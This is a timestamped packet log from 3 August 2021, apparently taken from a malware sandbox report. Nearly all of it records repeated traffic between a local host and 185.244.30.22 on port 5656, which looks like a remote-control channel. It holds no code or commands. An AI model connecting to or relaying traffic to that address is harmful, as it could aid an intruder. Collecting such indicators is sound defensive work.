Aug 3, 2021 11:35:26.365674019 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.366327047 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.367124081 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.367234945 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.389276028 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.390012980 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.391664982 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.391776085 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.392440081 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.393146992 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.393785954 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.393990993 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.394701958 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.394728899 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.423701048 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.423795938 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.424628973 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.424770117 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.425693035 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.426078081 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.434094906 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.434551954 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.434577942 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.434601068 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.434623003 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.434626102 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.434644938 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.434673071 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.434673071 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.434689999 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.434690952 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.434706926 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.434715033 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.434730053 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.434748888 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.434798002 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.458204031 CEST	49680	80	192.168.2.5	23.203.69.124
Aug 3, 2021 11:35:26.475713015 CEST	80	49680	23.203.69.124	192.168.2.5
Aug 3, 2021 11:35:26.479336023 CEST	49680	80	192.168.2.5	23.203.69.124
Aug 3, 2021 11:35:26.490351915 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.493171930 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.493915081 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.493947029 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.542671919 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.542989016 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.544631958 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.544754982 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.544800043 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.546030045 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.566660881 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.566718102 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.566829920 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.596301079 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.596460104 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.597536087 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.597604990 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.598412037 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.598509073 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.598953962 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.599056005 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.609739065 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.609860897 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.610157013 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.610219002 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.611344099 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.611567974 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.612103939 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.612166882 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.612243891 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.612272024 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.612294912 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.612318039 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.612322092 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.612359047 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.612368107 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.613046885 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.620570898 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.620687962 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.620893955 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.622184038 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.675210953 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.675332069 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.676011086 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.676615000 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.676722050 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.678390980 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.681776047 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.691998959 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.692744970 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.693145037 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.696943998 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.722902060 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.723022938 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.723764896 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.724544048 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.724637032 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.725028038 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.726038933 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.740689993 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.741390944 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.741487980 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.742146015 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.742366076 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.742403984 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.742429018 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.746731997 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.746813059 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.747776985 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.747813940 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.747881889 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.747910023 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.747916937 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.747957945 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.748920918 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.748984098 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.756942034 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.757033110 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.757103920 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.757199049 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.757544994 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.757594109 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.799556971 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.799699068 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.807708979 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.808383942 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.808517933 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.809452057 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.812583923 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.816436052 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.816759109 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.817858934 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.817982912 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.828958035 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.830061913 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.849620104 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.853851080 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.862756014 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.877882957 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.877924919 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.878074884 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.977715969 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.978583097 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.978626013 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.978652000 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.980215073 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.980288982 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.980312109 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.980367899 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.980391026 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.980392933 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.980442047 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:26.980451107 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:26.980487108 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.002386093 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.002525091 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.002819061 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.028170109 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.028966904 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.029084921 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.029892921 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.029973030 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.029998064 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.030019045 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.030061960 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.030081034 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.030147076 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.030168056 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.030188084 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.030196905 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.030239105 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.030267954 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.030291080 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.030338049 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.031307936 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.032344103 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.032540083 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.033513069 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.034491062 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.034744978 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.105057001 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.107723951 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.108115911 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.108237982 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.109457016 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.109563112 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.110096931 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.110965014 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.111104012 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.111128092 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.139156103 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.141015053 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.152321100 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.152580023 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.155312061 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.156810045 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.156929016 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.158813000 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.167469978 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.168235064 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.168380022 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.169236898 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.169322968 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.234770060 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.235680103 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.235825062 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.236398935 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.236932993 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.237358093 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.237427950 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.238373041 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.238455057 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.241871119 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.241902113 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.241942883 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.241945982 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.241966009 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.242070913 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.266345024 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.266377926 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.266453981 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.267301083 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.275933027 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.276021957 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.284651995 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.285368919 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.285482883 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.292604923 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.292629957 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.292699099 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.294723034 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.325371981 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.357764959 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.358227015 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.360452890 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.360547066 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.362696886 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.362828016 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.364288092 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.366811037 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.372770071 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.376874924 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.377018929 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.395826101 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.395937920 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.399224997 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.399601936 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.417936087 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.419168949 CEST	5656	49725	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:27.419308901 CEST	49725	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:27.532799959 CEST	80	49677	93.184.220.29	192.168.2.5
Aug 3, 2021 11:35:27.532926083 CEST	49677	80	192.168.2.5	93.184.220.29
Aug 3, 2021 11:35:27.756335020 CEST	80	49687	93.184.220.29	192.168.2.5
Aug 3, 2021 11:35:27.756611109 CEST	49687	80	192.168.2.5	93.184.220.29
Aug 3, 2021 11:35:27.899708033 CEST	49686	443	192.168.2.5	23.211.5.146
Aug 3, 2021 11:35:27.899837971 CEST	49687	80	192.168.2.5	93.184.220.29
Aug 3, 2021 11:35:29.742384911 CEST	49696	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:35:29.742643118 CEST	49695	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:35:29.742922068 CEST	49697	80	192.168.2.5	93.184.220.29
Aug 3, 2021 11:35:31.410578966 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:31.534209967 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:31.534342051 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:31.535212994 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:31.706955910 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:31.707214117 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:31.877903938 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:31.878020048 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:31.914697886 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.049026966 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.049422026 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.197730064 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.198127985 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.375324965 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.375422955 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.545685053 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.547961950 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.551425934 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.551462889 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.551532984 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.551865101 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.552021980 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.554868937 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.554903984 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.555027008 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.558114052 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.578195095 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.578238964 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.578299046 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.578310013 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.578404903 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.580015898 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.607477903 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.607628107 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.611344099 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.611624956 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.693404913 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.693485975 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.696141958 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.696332932 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.698791981 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.700119972 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.700726032 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.701164007 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.703566074 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.703690052 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.707678080 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.707873106 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.708523989 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.708694935 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.709667921 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.709886074 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.711009026 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.711170912 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.711730003 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.711973906 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.712780952 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.713028908 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.713409901 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.714121103 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.714639902 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.715151072 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.715379953 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.715601921 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.715614080 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.715795040 CEST	49731	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:35:32.716336966 CEST	5656	49731	185.244.30.22	192.168.2.5
Aug 3, 2021 11:35:32.716403961 CEST	49731	5656	192.168.2.5	185.244.30.22
